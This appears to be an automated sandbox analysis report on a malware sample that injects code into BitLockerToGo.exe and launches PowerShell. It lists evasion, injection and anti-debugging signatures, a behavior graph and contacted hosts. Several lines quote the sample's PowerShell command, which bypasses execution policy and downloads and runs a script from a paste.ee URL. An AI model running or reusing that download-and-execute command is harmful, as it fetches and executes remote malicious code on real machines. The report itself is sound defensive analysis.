Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5491 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2390 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5396 Thread sleep count: 5491 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 60 Thread sleep count: 2390 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5940 Thread sleep time: -10145709240540247s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 344 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5684 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5972 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006EC481 FindFirstFileExW, 2_2_006EC481
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: EwKKdCrEDu.exe, 00000000.00000002.1668214597.000000000169C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllO
Source: powershell.exe, 00000004.00000002.1691529805.0000000006C30000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000004.00000002.1691299710.0000000006B9A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW#
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006E85EE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 2_2_006E85EE
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006EE5B2 GetProcessHeap, 2_2_006EE5B2
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006E2076 SetUnhandledExceptionFilter, 2_2_006E2076
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006E85EE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 2_2_006E85EE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006E2185 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 2_2_006E2185
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006E1F1A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 2_2_006E1F1A

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: amsi32_6692.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6692, type: MEMORYSTR
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 6E0000 protect: page execute and read and write Jump to behavior
Bypasses PowerShell execution policy
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )"
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 6E0000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 5AA008 Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 6E0000 Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 6E1000 Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 6F6000 Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 6FE000 Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 700000 Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 701000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ep bypass "invoke-command -scriptblock ( [scriptblock]::create( ( invoke-webrequest -usebasicparsing -uri "https://paste.ee/d/7bwjv" ) ) )"
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ep bypass "invoke-command -scriptblock ( [scriptblock]::create( ( invoke-webrequest -usebasicparsing -uri "https://paste.ee/d/7bwjv" ) ) )" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Queries volume information: C:\Users\user\Desktop\EwKKdCrEDu.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Queries volume information: C:\Windows VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Queries volume information: C:\Windows\AppReadiness VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\EwKKdCrEDu.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 2_2_006E1E07 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 2_2_006E1E07
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1543863 Sample: EwKKdCrEDu.exe Startdate: 28/10/2024 Architecture: WINDOWS Score: 96 24 paste.ee 2->24 28 Malicious sample detected (through community Yara rule) 2->28 30 Multi AV Scanner detection for submitted file 2->30 32 Yara detected Powershell download and execute 2->32 36 2 other signatures 2->36 9 EwKKdCrEDu.exe 7 2->9         started        signatures3 34 Connects to a pastebin service (likely for C&C) 24->34 process4 signatures5 38 Writes to foreign memory regions 9->38 40 Allocates memory in foreign processes 9->40 42 Injects a PE file into a foreign processes 9->42 12 BitLockerToGo.exe 9->12         started        process6 signatures7 44 Suspicious powershell command line found 12->44 46 Bypasses PowerShell execution policy 12->46 15 powershell.exe 15 15 12->15         started        18 cmd.exe 1 12->18         started        process8 dnsIp9 26 paste.ee 188.114.97.3, 443, 49712 CLOUDFLARENETUS European Union 15->26 20 conhost.exe 15->20         started        22 conhost.exe 18->22         started        process10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
188.114.97.3
 paste.ee European Union
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
paste.ee 188.114.97.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://paste.ee/d/7BWJv true
    		unknown